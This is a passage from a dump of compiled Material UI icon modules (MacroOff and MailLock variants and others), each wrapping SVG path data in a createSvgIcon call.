5.38-1.8l2.4 2.4 1.41-1.41z\"\n}, \"1\")], 'MacroOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.29.24-.54.54-.72.87l1.66 1.66C11.03 8.14 11 8.08 11 8c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1c-.08 0-.14-.03-.22-.04l4.06 4.06c1.49-.24 2.63-1.53 2.63-3.09 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-.8 0-1.53.31-2.09.81l1.42 1.42c.2-.13.42-.23.67-.23m6.68 6.14c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m7.98 14.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.42 4.42c-.19.4-.3.84-.3 1.29 0 1.73 1.41 3.14 3.15 3.14.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15c.05 0 .11-.01.16-.01l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41zm11.63 16.75c.2-.54.47-1.04.79-1.5l.72.72c-.47.31-.97.58-1.51.78\"\n}, \"1\")], 'MacroOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.29.24-.54.54-.72.87l1.66 1.66C11.03 8.14 11 8.08 11 8c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1c-.08 0-.14-.03-.22-.04l4.06 4.06c1.49-.24 2.63-1.53 2.63-3.09 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-.8 0-1.53.31-2.09.81l1.42 1.42c.2-.13.42-.23.67-.23m6.68 6.14c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m7.98 14.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.42 4.42c-.19.4-.3.84-.3 1.29 0 1.73 1.41 3.14 3.15 3.14.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15c.05 0 .11-.01.16-.01l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41zm11.63 16.75c.2-.54.47-1.04.79-1.5l.72.72c-.47.31-.97.58-1.51.78\"\n}, \"1\")], 'MacroOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.2 13.08c-.64-.09-1.21.48-1.12 1.12C3.67 18.6 7.44 22 12 22c0-4.56-3.4-8.33-7.8-8.92M12 5.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43m7.98 11.65c.47-.91.8-1.9.94-2.95.09-.64-.48-1.21-1.12-1.12-1.05.14-2.05.47-2.95.94z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.1 3.51c-.39.39-.39 1.02 0 1.41l3.93 3.93c-.35.52-.53 1.17-.38 1.89.22 1.13 1.26 1.98 2.41 2 .54.01 1.02-.15 1.44-.43l.02.02-.02.17c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.79l1.69 1.69c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}, \"1\")], 'MacroOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.2 13.08c-.64-.09-1.21.48-1.12 1.12C3.67 18.6 7.44 22 12 22c0-4.56-3.4-8.33-7.8-8.92M12 5.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43m7.98 11.65c.47-.91.8-1.9.94-2.95.09-.64-.48-1.21-1.12-1.12-1.05.14-2.05.47-2.95.94z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.1 3.51c-.39.39-.39 1.02 0 1.41l3.93 3.93c-.35.52-.53 1.17-.38 1.89.22 1.13 1.26 1.98 2.41 2 .54.01 1.02-.15 1.44-.43l.02.02-.02.17c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.79l1.69 1.69c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}, \"1\")], 'MacroOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.98 17.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m9-7.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.64 4.64c-.27.4-.43.87-.43 1.39 0 1.38 1.12 2.5 2.5 2.5.52 0 .99-.16 1.4-.43l.02.02-.02.16c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41z\"\n}, \"1\")], 'MacroOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.98 17.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m9-7.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.64 4.64c-.27.4-.43.87-.43 1.39 0 1.38 1.12 2.5 2.5 2.5.52 0 .99-.16 1.4-.43l.02.02-.02.16c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41z\"\n}, \"1\")], 'MacroOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.11 5.69-.81-.56c-.18-.13-.41-.2-.64-.2-.25 0-.47.1-.66.24l1.39 1.39c.18-.33.43-.63.72-.87m5.72 3.21-.88-.42c-.12.73-.51 1.36-1.05 1.82l.8.57c.18.13.4.2.64.2.47 0 .87-.28 1.05-.69.06-.14.09-.28.09-.44.01-.45-.25-.84-.65-1.04m-1.94-3.22c.55.46.94 1.1 1.06 1.84l.87-.42c.41-.2.66-.59.66-1.03 0-.63-.51-1.14-1.14-1.14-.24 0-.46.07-.64.2zM12 5c.36 0 .71.07 1.03.19l.11-1.09C13.12 3.49 12.62 3 12 3s-1.12.49-1.14 1.1l.12 1.09C11.3 5.07 11.64 5 12 5m3.94 13.77-.71-.71c-.32.47-.59.97-.79 1.5.54-.2 1.04-.47 1.5-.79m-10.5-3.33c.71 1.9 2.22 3.41 4.12 4.12-.71-1.9-2.22-3.41-4.12-4.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.29.24-.54.54-.72.87l1.66 1.66C11.03 8.14 11 8.08 11 8c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1c-.08 0-.14-.03-.22-.04l4.06 4.06c1.49-.24 2.63-1.53 2.63-3.09 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-.8 0-1.53.31-2.09.81l1.42 1.42c.2-.13.42-.23.67-.23m7.73 5.45c-.18.41-.58.69-1.05.69-.24 0-.46-.07-.64-.2l-.8-.57h-.01c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .17-.04.32-.1.46m-1.7-5.25c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.87.42h-.01c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m7.98 14.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02l1.51 1.51M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.42 4.42c-.19.4-.3.84-.3 1.29 0 1.73 1.41 3.14 3.15 3.14.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15c.05 0 .11-.01.16-.01l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41zm11.63 16.75c.2-.54.47-1.04.79-1.5l.71.71c-.46.32-.96.59-1.5.79\"\n}, \"2\")], 'MacroOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.11 5.69-.81-.56c-.18-.13-.41-.2-.64-.2-.25 0-.47.1-.66.24l1.39 1.39c.18-.33.43-.63.72-.87m5.72 3.21-.88-.42c-.12.73-.51 1.36-1.05 1.82l.8.57c.18.13.4.2.64.2.47 0 .87-.28 1.05-.69.06-.14.09-.28.09-.44.01-.45-.25-.84-.65-1.04m-1.94-3.22c.55.46.94 1.1 1.06 1.84l.87-.42c.41-.2.66-.59.66-1.03 0-.63-.51-1.14-1.14-1.14-.24 0-.46.07-.64.2zM12 5c.36 0 .71.07 1.03.19l.11-1.09C13.12 3.49 12.62 3 12 3s-1.12.49-1.14 1.1l.12 1.09C11.3 5.07 11.64 5 12 5m3.94 13.77-.71-.71c-.32.47-.59.97-.79 1.5.54-.2 1.04-.47 1.5-.79m-10.5-3.33c.71 1.9 2.22 3.41 4.12 4.12-.71-1.9-2.22-3.41-4.12-4.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.29.24-.54.54-.72.87l1.66 1.66C11.03 8.14 11 8.08 11 8c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1c-.08 0-.14-.03-.22-.04l4.06 4.06c1.49-.24 2.63-1.53 2.63-3.09 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-.8 0-1.53.31-2.09.81l1.42 1.42c.2-.13.42-.23.67-.23m7.73 5.45c-.18.41-.58.69-1.05.69-.24 0-.46-.07-.64-.2l-.8-.57h-.01c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .17-.04.32-.1.46m-1.7-5.25c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.87.42h-.01c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m7.98 14.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02l1.51 1.51M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.42 4.42c-.19.4-.3.84-.3 1.29 0 1.73 1.41 3.14 3.15 3.14.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15c.05 0 .11-.01.16-.01l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41zm11.63 16.75c.2-.54.47-1.04.79-1.5l.71.71c-.46.32-.96.59-1.5.79\"\n}, \"2\")], 'MacroOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Mail');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mail.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'Mail');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9.97V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-5.03c0-2.76 2.24-5 5-5zM20 8l-8 5-8-5V6l8 5 8-5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9.97V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-5.03c0-2.76 2.24-5 5-5zM20 8l-8 5-8-5V6l8 5 8-5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 8 8 5 8-5v2h2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-2H4zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-3 0v-1c0-.55.45-1 1-1s1 .45 1 1v1z\"\n}, \"1\")], 'MailLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 8 8 5 8-5v2h2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-2H4zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-3 0v-1c0-.55.45-1 1-1s1 .45 1 1v1z\"\n}, \"1\")], 'MailLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9.97V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-5.03c0-2.76 2.24-5 5-5zm-2.4-1.72-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9.97V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h12v-5.03c0-2.76 2.24-5 5-5zm-2.4-1.72-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9.97V4H2.01L2 20h14v-5.03c0-2.76 2.24-5 5-5zM20 8l-8 5-8-5V6l8 5 8-5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 15v-.89c0-1-.68-1.92-1.66-2.08-1.26-.21-2.34.76-2.34 1.97v1h-1v5h6v-5zm-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9.97V4H2.01L2 20h14v-5.03c0-2.76 2.24-5 5-5zM20 8l-8 5-8-5V6l8 5 8-5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 15v-.89c0-1-.68-1.92-1.66-2.08-1.26-.21-2.34.76-2.34 1.97v1h-1v5h6v-5zm-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'MailLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MailLockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H4l8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13 4 8v10h12v-3.03c0-2.42 1.72-4.44 4-4.9V8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18V8l8 5 